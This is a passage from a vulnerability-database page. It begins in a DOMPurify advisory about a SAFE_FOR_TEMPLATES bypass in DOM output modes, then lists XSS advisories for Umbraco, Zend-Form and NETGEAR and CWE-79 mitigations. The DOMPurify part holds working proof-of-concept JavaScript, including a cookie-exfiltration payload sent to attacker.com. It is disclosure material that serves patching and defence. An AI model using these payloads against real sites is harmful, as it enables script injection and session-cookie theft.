\u0027badge-fail\u0027, // \"PASS\" here means the attack succeeded (bad for security)\n BLOCK: \u0027badge-pass\u0027, // \"BLOCK\" means DOMPurify correctly blocked it\n PENDING: \u0027badge-run\u0027,\n ERROR: \u0027badge-warn\u0027,\n }[status];\n}\n\nfunction markXSS(poc) {\n if (!xssConfirmed) {\n xssConfirmed = true;\n document.getElementById(\u0027xss-banner\u0027).style.display = \u0027block\u0027;\n }\n log(\u0027\ud83d\udd34 XSS CONFIRMED in \u0027 + poc + \u0027 - expression executed in page context\u0027, \u0027fail\u0027);\n}\n\n// \u2500\u2500 PoC 1: RETURN_DOM + alert \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\nfunction runPoC1() {\n log(\u0027Running PoC 1 - RETURN_DOM + confirm()...\u0027, \u0027info\u0027);\n\n // IMPORTANT:\n // Build a REAL template DOM node with split TEXT nodes.\n // HTML parsing would merge adjacent text automatically,\n // so we construct the DOM programmatically.\n\n const container = document.createElement(\u0027div\u0027);\n const tmpl = document.createElement(\u0027template\u0027);\n\n tmpl.content.appendChild(document.createTextNode(\u0027$\u0027));\n tmpl.content.appendChild(\n document.createTextNode(\n \u0027{confirm(\"XSS - DOMPurify SAFE_FOR_TEMPLATES bypass\\\\nExpression executed in: \" + document.domain)}\u0027\n )\n );\n\n container.appendChild(tmpl);\n\n document.getElementById(\u0027input-poc1\u0027).textContent =\n \u0027template.content.childNodes[0].data = \"$\"\\\\n\u0027 +\n \u0027template.content.childNodes[1].data = \"{confirm(...)}\"\u0027;\n\n // Sanitize the DOM node itself\n const sanitized = DOMPurify.sanitize(container, {\n RETURN_DOM: true,\n SAFE_FOR_TEMPLATES: true,\n });\n\n const tmplAfter = sanitized.querySelector(\u0027template\u0027);\n\n if (!tmplAfter) {\n document.getElementById(\u0027exec-poc1\u0027).textContent =\n \u0027Template element removed during sanitization\u0027;\n setBadge(\u0027poc1\u0027, \u0027ERROR\u0027);\n return;\n }\n\n const nodesBefore = [...tmplAfter.content.childNodes].map(\n n =\u003e JSON.stringify(n.nodeValue)\n );\n\n document.getElementById(\u0027nodes-poc1\u0027).textContent =\n \u0027childNodes[0].data = \u0027 + nodesBefore[0] + \u0027\\\\n\u0027 +\n \u0027childNodes[1].data = \u0027 + nodesBefore[1] + \u0027\\\\n\\\\n\u0027 +\n \u0027\u2192 Neither fragment matched individually.\u0027;\n\n log(\n \u0027PoC 1: Text nodes after sanitization: \u0027 +\n nodesBefore.join(\u0027, \u0027),\n \u0027warn\u0027\n );\n\n // Merge text nodes\n tmplAfter.content.normalize();\n\n const merged = tmplAfter.content.textContent;\n\n document.getElementById(\u0027merged-poc1\u0027).textContent = merged;\n\n log(\u0027PoC 1: After normalize() - merged text: \u0027 + merged, \u0027warn\u0027);\n\n try {\n const result = new Function(\u0027return `\u0027 + merged + \u0027`\u0027)();\n\n document.getElementById(\u0027exec-poc1\u0027).textContent =\n \u0027\u2714 Expression executed successfully\\\\n\u0027 +\n \u0027Returned: \u0027 + result;\n\n setBadge(\u0027poc1\u0027, \u0027PASS\u0027);\n markXSS(\u0027PoC 1\u0027);\n\n } catch (e) {\n document.getElementById(\u0027exec-poc1\u0027).textContent =\n \u0027Error: \u0027 + e.message;\n\n setBadge(\u0027poc1\u0027, \u0027ERROR\u0027);\n\n log(\u0027PoC 1 error: \u0027 + e.message, \u0027warn\u0027);\n }\n}\n\n// \u2500\u2500 PoC 2: cookie exfiltration \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\nfunction runPoC2() {\n log(\u0027Running PoC 2 - cookie exfiltration...\u0027, \u0027info\u0027);\n\n // Fake cookie for demonstration\n document.cookie = \u0027session=DEADBEEF_SECRET_TOKEN; path=/\u0027;\n\n // IMPORTANT:\n // Build REAL split text nodes programmatically.\n // Do NOT rely on HTML parsing.\n\n const container = document.createElement(\u0027div\u0027);\n const tmpl = document.createElement(\u0027template\u0027);\n\n tmpl.content.appendChild(document.createTextNode(\u0027$\u0027));\n\n tmpl.content.appendChild(\n document.createTextNode(\n \u0027{document.location=\"//attacker.com/steal?c=\"+document.cookie}\u0027\n )\n );\n\n container.appendChild(tmpl);\n\n document.getElementById(\u0027input-poc2\u0027).textContent =\n \u0027template.content.childNodes[0].data = \"$\"\\\\n\u0027 +\n \u0027template.content.childNodes[1].data = \"{document.location=...}\"\u0027;\n\n // Sanitize DOM node\n const sanitized = DOMPurify.sanitize(container, {\n RETURN_DOM: true,\n SAFE_FOR_TEMPLATES: true,\n });\n\n const tmplAfter = sanitized.querySelector(\u0027template\u0027);\n\n if (!tmplAfter) {\n document.getElementById(\u0027exec-poc2\u0027).textContent =\n \u0027Template element removed during sanitization\u0027;\n\n setBadge(\u0027poc2\u0027, \u0027ERROR\u0027);\n\n log(\u0027PoC 2: template element missing after sanitize()\u0027, \u0027warn\u0027);\n\n return;\n }\n\n const nodes = [...tmplAfter.content.childNodes].map(\n n =\u003e JSON.stringify(n.nodeValue)\n );\n\n document.getElementById(\u0027nodes-poc2\u0027).textContent =\n \u0027Node 0: \u0027 + nodes[0] + \u0027\\\\n\u0027 +\n \u0027Node 1: \u0027 + nodes[1] + \u0027\\\\n\\\\n\u0027 +\n \u0027\u2192 Neither fragment individually matches template-expression regexes.\u0027;\n\n log(\u0027PoC 2: Nodes after sanitize: \u0027 + nodes.join(\u0027, \u0027), \u0027warn\u0027);\n\n // Merge adjacent text nodes\n tmplAfter.content.normalize();\n\n const merged = tmplAfter.content.textContent;\n\n document.getElementById(\u0027merged-poc2\u0027).textContent = merged;\n\n log(\u0027PoC 2: Merged expression: \u0027 + merged, \u0027warn\u0027);\n\n // Simulate framework evaluation\n try {\n new Function(\u0027return `\u0027 + merged + \u0027`\u0027)();\n\n const cookieValue = document.cookie;\n\n const stealUrl =\n \u0027//attacker.com/steal?c=\u0027 +\n encodeURIComponent(cookieValue);\n\n document.getElementById(\u0027exec-poc2\u0027).textContent =\n \u0027\u2714 Expression successfully evaluated\\\\n\\\\n\u0027 +\n \u0027Would redirect victim to:\\\\n\u0027 +\n stealUrl + \u0027\\\\n\\\\n\u0027 +\n \u0027Cookie exposed:\\\\n\u0027 +\n cookieValue;\n\n setBadge(\u0027poc2\u0027, \u0027PASS\u0027);\n\n markXSS(\u0027PoC 2\u0027);\n\n log(\u0027PoC 2: Would exfiltrate cookie \u2192 \u0027 + stealUrl, \u0027fail\u0027);\n\n } catch (e) {\n document.getElementById(\u0027exec-poc2\u0027).textContent =\n \u0027Error: \u0027 + e.message;\n\n setBadge(\u0027poc2\u0027, \u0027ERROR\u0027);\n\n log(\u0027PoC 2 error: \u0027 + e.message, \u0027warn\u0027);\n }\n}\n// \u2500\u2500 PoC 3: IN_PLACE mode \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\nfunction runPoC3() {\n log(\u0027Running PoC 3 - IN_PLACE mode...\u0027, \u0027info\u0027);\n\n // Build DOM node manually (simulates attacker-controlled DOM input,\n // e.g. content parsed from a WebSocket message or an iframe)\n const container = document.createElement(\u0027div\u0027);\n const tmplEl = document.createElement(\u0027template\u0027);\n\n // Two separate text nodes - HTML parser merges them, but programmatic\n // DOM construction keeps them split. This is the IN_PLACE attack surface.\n tmplEl.content.appendChild(document.createTextNode(\u0027$\u0027));\n tmplEl.content.appendChild(document.createTextNode(\u0027{confirm(\"XSS via IN_PLACE - domain: \" + document.domain)}\u0027));\n container.appendChild(tmplEl);\n\n document.getElementById(\u0027input-poc3\u0027).textContent =\n \u0027// Programmatically constructed DOM node:\\n\u0027 +\n \u0027template.content.childNodes[0].data = \"$\"\\n\u0027 +\n \u0027template.content.childNodes[1].data = \"{confirm(\\\\\"XSS via IN_PLACE...\\\\\")}\"\\n\\n\u0027 +\n \u0027// Passed to DOMPurify.sanitize(container, { IN_PLACE: true, SAFE_FOR_TEMPLATES: true })\u0027;\n\n // Sanitize IN_PLACE - SAFE_FOR_TEMPLATES should strip the expression\n DOMPurify.sanitize(container, {\n IN_PLACE: true,\n SAFE_FOR_TEMPLATES: true,\n });\n\n const tmplAfter = container.querySelector(\u0027template\u0027);\n const nodesAfter = [...tmplAfter.content.childNodes].map(n =\u003e n.nodeValue);\n document.getElementById(\u0027nodes-poc3\u0027).textContent =\n \u0027childNodes[0].data = \u0027 + JSON.stringify(nodesAfter[0]) + \u0027\\n\u0027 +\n \u0027childNodes[1].data = \u0027 + JSON.stringify(nodesAfter[1]) + \u0027\\n\\n\u0027 +\n \u0027\u2192 _scrubTemplateExpressions() did not enter template.content\\n\u0027 +\n \u0027\u2192 Both nodes unchanged after sanitization.\u0027;\n\n log(\u0027PoC 3: Nodes after IN_PLACE sanitize: \u0027 + nodesAfter.map(n =\u003e JSON.stringify(n)).join(\u0027, \u0027), \u0027warn\u0027);\n\n tmplAfter.content.normalize();\n const merged = tmplAfter.content.textContent;\n document.getElementById(\u0027merged-poc3\u0027).textContent = merged;\n\n log(\u0027PoC 3: Merged: \u0027 + merged, \u0027warn\u0027);\n\n try {\n const result = new Function(\u0027return `\u0027 + merged + \u0027`\u0027)();\n document.getElementById(\u0027exec-poc3\u0027).textContent =\n \u0027\u2714 new Function() returned: \u0027 + result + \u0027\\n\u0027 +\n \u0027confirm() dialog shown. XSS confirmed via IN_PLACE mode.\u0027;\n setBadge(\u0027poc3\u0027, \u0027PASS\u0027);\n markXSS(\u0027PoC 3\u0027);\n } catch (e) {\n document.getElementById(\u0027exec-poc3\u0027).textContent = \u0027Error: \u0027 + e.message;\n setBadge(\u0027poc3\u0027, \u0027ERROR\u0027);\n log(\u0027PoC 3 error: \u0027 + e.message, \u0027warn\u0027);\n }\n}\n\n// \u2500\u2500 Control: string output must block \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\nfunction runControl() {\n log(\u0027Running control - string output path (should block)...\u0027, \u0027info\u0027);\n\n const dirty =\n \u0027\u003ctemplate\u003e\u0027 +\n \u0027\u003cx-split-1\u003e$\u003c/x-split-1\u003e\u0027 +\n \u0027\u003cx-split-2\u003e{confirm(\"this should never fire\")}\u003c/x-split-2\u003e\u0027 +\n \u0027\u003c/template\u003e\u0027;\n\n document.getElementById(\u0027input-ctrl\u0027).textContent = dirty;\n\n // Default string output - NOT using RETURN_DOM\n const sanitized = DOMPurify.sanitize(dirty, {\n SAFE_FOR_TEMPLATES: true,\n // RETURN_DOM intentionally omitted - string path is safe\n });\n\n document.getElementById(\u0027output-ctrl\u0027).textContent = sanitized;\n\n const blocked = !sanitized.includes(\u0027${\u0027) \u0026\u0026 !sanitized.includes(\u0027{confirm\u0027);\n if (blocked) {\n setBadge(\u0027ctrl\u0027, \u0027BLOCK\u0027);\n log(\u0027Control: String output correctly stripped the expression. Output: \u0027 + sanitized, \u0027ok\u0027);\n } else {\n setBadge(\u0027ctrl\u0027, \u0027PASS\u0027); // unexpected\n log(\u0027Control: UNEXPECTED - expression survived string output path: \u0027 + sanitized, \u0027fail\u0027);\n }\n}\n\n// \u2500\u2500 Run all \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\nfunction runAll() {\n document.getElementById(\u0027log\u0027).innerHTML = \u0027\u0027;\n xssConfirmed = false;\n document.getElementById(\u0027xss-banner\u0027).style.display = \u0027none\u0027;\n log(\u0027=== Starting full test run ===\u0027, \u0027info\u0027);\n runPoC1();\n runPoC2();\n runPoC3();\n runControl();\n log(\u0027=== Test run complete ===\u0027, \u0027info\u0027);\n}\n\u003c/script\u003e\n\n\u003c/body\u003e\n\u003c/html\u003e\n\n\n```\n\n\n---\n\n## Root Cause\n\n`_scrubTemplateExpressions` (`src/purify.ts:1115`) does not recurse into `\u003ctemplate\u003e.content`:\n\n```ts\nconst _scrubTemplateExpressions = function (node: Element): void {\n node.normalize(); // Does NOT normalize inside \u003ctemplate\u003e.content (DOM spec)\n const walker = createNodeIterator.call(\n node.ownerDocument || node,\n node, // NodeIterator does NOT enter \u003ctemplate\u003e.content\n NodeFilter.SHOW_TEXT | NodeFilter.SHOW_COMMENT |\n NodeFilter.SHOW_CDATA_SECTION | NodeFilter.SHOW_PROCESSING_INSTRUCTION,\n null\n );\n // Scrubs nodes it finds, but never sees \u003ctemplate\u003e content\n};\n```\n\nThe fix is to extend `_scrubTemplateExpressions` to explicitly recurse into `\u003ctemplate\u003e.content`, mirroring the approach already used by `_sanitizeShadowDOM` (`src/purify.ts:1753`):\n\n```ts\nif (_isDocumentFragment(shadowNode.content)) {\n _sanitizeShadowDOM(shadowNode.content); // already handles recursion\n}\n```\n\n### Suggested Patch Direction\n\n```ts\nconst _scrubTemplateExpressions = function (node: Element): void {\n node.normalize();\n const walker = createNodeIterator.call( /* existing args */ );\n\n // ... existing scrub loop ...\n\n // NEW: recurse into \u003ctemplate\u003e.content, mirroring _sanitizeShadowDOM\n const templates = (node as Element).querySelectorAll?.(\u0027template\u0027) ?? [];\n arrayForEach(Array.from(templates), (tmpl: HTMLTemplateElement) =\u003e {\n if (_isDocumentFragment(tmpl.content)) {\n _scrubTemplateExpressions(tmpl.content as unknown as Element);\n }\n });\n};\n```\n\n---\n\n## Impact\n\n**Who is affected:** Applications that use DOMPurify with `SAFE_FOR_TEMPLATES: true` combined with `RETURN_DOM: true`, `RETURN_DOM_FRAGMENT: true`, or `IN_PLACE: true`, whose downstream template engine processes `\u003ctemplate\u003e` element content.\n\n**What an attacker can achieve:** Inject arbitrary template expressions (`${...}`, `{{...}}`, `\u003c%...%\u003e`) into the sanitized DOM output inside `\u003ctemplate\u003e` elements. If the consuming template engine evaluates these expressions, this leads to **template injection**, which in server-side contexts can escalate to **Remote Code Execution** and in client-side contexts to **Cross-Site Scripting**.\n\n### Preconditions for Exploitation\n\n| Precondition | Notes |\n|---|---|\n| `SAFE_FOR_TEMPLATES: true` | Non-default - must be explicitly set |\n| `RETURN_DOM: true` or `IN_PLACE: true` | Non-default - must be explicitly set |\n| Template engine processes `\u003ctemplate\u003e.content` | Application-dependent |\n\n### What Is NOT Affected\n\nThe **string output path (default)** is not affected. The final regex scrub at `src/purify.ts:2067\u20132071` operates on the serialized HTML string, where the injected expression is visible and stripped:\n\n```ts\n// src/purify.ts:2067 - only runs on string output, not DOM output\nif (SAFE_FOR_TEMPLATES) {\n arrayForEach([MUSTACHE_EXPR, ERB_EXPR, TMPLIT_EXPR], (expr: RegExp) =\u003e {\n serializedHTML = stringReplace(serializedHTML, expr, \u0027 \u0027);\n });\n}\n```",
"id": "GHSA-gvmj-g25r-r7wr",
"modified": "2026-07-23T14:00:07Z",
"published": "2026-06-15T20:02:40Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/cure53/DOMPurify/security/advisories/GHSA-gvmj-g25r-r7wr"
},
{
"type": "PACKAGE",
"url": "https://github.com/cure53/DOMPurify"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "DOMPurify: SAFE_FOR_TEMPLATES bypass - template expressions survive sanitization inside \u003ctemplate\u003e content when using DOM output modes"
}
GHSA-GVPC-3PJ6-4M9W
Vulnerability from github – Published: 2024-05-21 14:47 – Updated: 2025-02-12 18:33
VLAI
Summary
Umbraco CMS Vulnerable to Stored XSS on Content Page Through Markdown Editor Preview Pane
Details
Impact
Stored Cross-site scripting (XSS) enable attackers that have access to backoffice to bring malicious content into a website or application.
Affected versions
Umbraco CMS >= 8.00
Patches
This is fixed in 8.18.13, 10.8.4, 12.3.7, 13.1.1 by implementing IHtmlSanitizer
Severity
4.2 (Medium)
{
"affected": [
{
"package": {
"ecosystem": "NuGet",
"name": "UmbracoCms.Core"
},
"ranges": [
{
"events": [
{
"introduced": "8.0.0"
},
{
"fixed": "8.18.13"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "UmbracoCms.Core"
},
"ranges": [
{
"events": [
{
"introduced": "10.0.0"
},
{
"fixed": "10.8.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "UmbracoCms.Core"
},
"ranges": [
{
"events": [
{
"introduced": "12.0.0"
},
{
"fixed": "12.3.7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "UmbracoCms.Core"
},
"ranges": [
{
"events": [
{
"introduced": "13.0.0"
},
{
"fixed": "13.1.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-35218"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2024-05-21T14:47:24Z",
"nvd_published_at": "2024-05-21T14:15:12Z",
"severity": "MODERATE"
},
"details": "### Impact\nStored Cross-site scripting (XSS) enable attackers that have access to backoffice to bring malicious content into a website or application.\n\n### Affected versions\nUmbraco CMS \u003e= 8.00\n\n### Patches\nThis is fixed in 8.18.13, 10.8.4, 12.3.7, 13.1.1 by implementing IHtmlSanitizer",
"id": "GHSA-gvpc-3pj6-4m9w",
"modified": "2025-02-12T18:33:38Z",
"published": "2024-05-21T14:47:24Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/umbraco/Umbraco-CMS/security/advisories/GHSA-gvpc-3pj6-4m9w"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-35218"
},
{
"type": "WEB",
"url": "https://github.com/umbraco/Umbraco-CMS/commit/1b712fe6ec52aa4e71b3acf63e393c8e6ab85385"
},
{
"type": "WEB",
"url": "https://github.com/umbraco/Umbraco-CMS/commit/a2684069b1e9976444f60b4b37a80be05b87f6b6"
},
{
"type": "WEB",
"url": "https://github.com/umbraco/Umbraco-CMS/commit/cbf9f9bcd199d7ca0412be3071d275556f10b7ba"
},
{
"type": "WEB",
"url": "https://github.com/umbraco/Umbraco-CMS/commit/d090176272d07500dac0daee7c598aa8bb321050"
},
{
"type": "PACKAGE",
"url": "https://github.com/umbraco/Umbraco-CMS"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Umbraco CMS Vulnerable to Stored XSS on Content Page Through Markdown Editor Preview Pane"
}
GHSA-GVPP-6JRJ-5PQC
Vulnerability from github – Published: 2024-06-07 21:58 – Updated: 2024-06-07 21:58
VLAI
Summary
Zend-Form vulnerable to Cross-site Scripting
Details
Many Zend Framework 2 view helpers were using the escapeHtml() view helper in order to escape HTML attributes, instead of the more appropriate escapeHtmlAttr(). In situations where user data and/or JavaScript is used to seed attributes, this can lead to potential cross site scripting (XSS) attack vectors.
Vulnerable view helpers include:
- All
Zend\Formview helpers. - Most
Zend\Navigation(akaZend\View\Helper\Navigation\*) view helpers. - All "HTML Element" view helpers:
htmlFlash(),htmlPage(),htmlQuickTime(). Zend\View\Helper\Gravatar
Severity
6.1 (Medium)
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "zendframework/zend-form"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "2.2.7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "zendframework/zend-form"
},
"ranges": [
{
"events": [
{
"introduced": "2.3.0"
},
{
"fixed": "2.3.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2024-06-07T21:58:34Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "Many Zend Framework 2 view helpers were using the escapeHtml() view helper in order to escape HTML attributes, instead of the more appropriate escapeHtmlAttr(). In situations where user data and/or JavaScript is used to seed attributes, this can lead to potential cross site scripting (XSS) attack vectors.\n\nVulnerable view helpers include:\n\n- All `Zend\\Form` view helpers.\n- Most `Zend\\Navigation` (aka `Zend\\View\\Helper\\Navigation\\*`) view helpers.\n- All \"HTML Element\" view helpers: `htmlFlash()`, `htmlPage()`, `htmlQuickTime()`.\n- `Zend\\View\\Helper\\Gravatar`",
"id": "GHSA-gvpp-6jrj-5pqc",
"modified": "2024-06-07T21:58:34Z",
"published": "2024-06-07T21:58:34Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/zendframework/zend-form/commit/6fe40314e8e3477494aadd03d62573bd1c212bd1"
},
{
"type": "WEB",
"url": "https://github.com/zendframework/zend-form/commit/d7a1f5bc4626b1df990391502a868b28c37ba65d"
},
{
"type": "WEB",
"url": "https://github.com/zendframework/zend-form/commit/fd43a951460c4bc60c77a566129705f6bdb9c61b"
},
{
"type": "WEB",
"url": "https://framework.zend.com/security/advisory/ZF2014-03"
},
{
"type": "WEB",
"url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/zendframework/zend-form/ZF2014-03.yaml"
},
{
"type": "PACKAGE",
"url": "https://github.com/zendframework/zend-form"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Zend-Form vulnerable to Cross-site Scripting"
}
GHSA-GVPR-JJWJ-3PGG
Vulnerability from github – Published: 2022-05-24 17:37 – Updated: 2022-05-24 17:37
VLAI
Details
Certain NETGEAR devices are affected by stored XSS. This affects D7800 before 1.0.1.56, R7500v2 before 1.0.3.46, R7800 before 1.0.2.74, R8900 before 1.0.4.28, R9000 before 1.0.4.28, RAX120 before 1.0.0.78, RBK50 before 2.3.5.30, RBR50 before 2.3.5.30, RBS50 before 2.3.5.30, XR500 before 2.3.2.56, and XR700 before 1.0.1.10.
{
"affected": [],
"aliases": [
"CVE-2020-35819"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-12-30T00:15:00Z",
"severity": "MODERATE"
},
"details": "Certain NETGEAR devices are affected by stored XSS. This affects D7800 before 1.0.1.56, R7500v2 before 1.0.3.46, R7800 before 1.0.2.74, R8900 before 1.0.4.28, R9000 before 1.0.4.28, RAX120 before 1.0.0.78, RBK50 before 2.3.5.30, RBR50 before 2.3.5.30, RBS50 before 2.3.5.30, XR500 before 2.3.2.56, and XR700 before 1.0.1.10.",
"id": "GHSA-gvpr-jjwj-3pgg",
"modified": "2022-05-24T17:37:45Z",
"published": "2022-05-24T17:37:45Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-35819"
},
{
"type": "WEB",
"url": "https://kb.netgear.com/000062648/Security-Advisory-for-Stored-Cross-Site-Scripting-on-Some-Routers-and-WiFi-Systems-PSV-2018-0495"
}
],
"schema_version": "1.4.0",
"severity": []
}
Mitigation MIT-4
Architecture and Design
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
- Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.
Mitigation
Implementation
Architecture and Design
- Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies.
- For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters.
- Parts of the same output document may require different encodings, which will vary depending on whether the output is in the:
- etc. Note that HTML Entity Encoding is only appropriate for the HTML body.
- Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed.
- HTML body
- Element attributes (such as src="XYZ")
- URIs
- JavaScript sections
- Cascading Style Sheets and style property
Mitigation MIT-6
Architecture and Design
Implementation
Strategy: Attack Surface Reduction
Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.
Mitigation MIT-15
Architecture and Design
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-27
Architecture and Design
Strategy: Parameterization
If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
Mitigation MIT-30.1
Implementation
Strategy: Output Encoding
- Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.
- The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.
Mitigation MIT-43
Implementation
With Struts, write all data from form beans with the bean's filter attribute set to true.
Mitigation MIT-31
Implementation
Strategy: Attack Surface Reduction
To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XmlHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.
Mitigation MIT-5
Implementation
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When dynamically constructing web pages, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. All input should be validated and cleansed, not just parameters that the user is supposed to specify, but all data in the request, including hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. It is common to see data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.
- Note that proper output encoding, escaping, and quoting is the most effective solution for preventing XSS, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent XSS, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, in a chat application, the heart emoticon ("<3") would likely pass the validation step, since it is commonly used. However, it cannot be directly inserted into the web page because it contains the "<" character, which would need to be escaped or otherwise handled. In this case, stripping the "<" might reduce the risk of XSS, but it would produce incorrect behavior because the emoticon would not be recorded. This might seem to be a minor inconvenience, but it would be more important in a mathematical forum that wants to represent inequalities.
- Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.
- Ensure that you perform input validation at well-defined interfaces within the application. This will help protect the application even if a component is reused or moved elsewhere.
Mitigation MIT-21
Architecture and Design
Strategy: Enforcement by Conversion
When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
Mitigation MIT-29
Operation
Strategy: Firewall
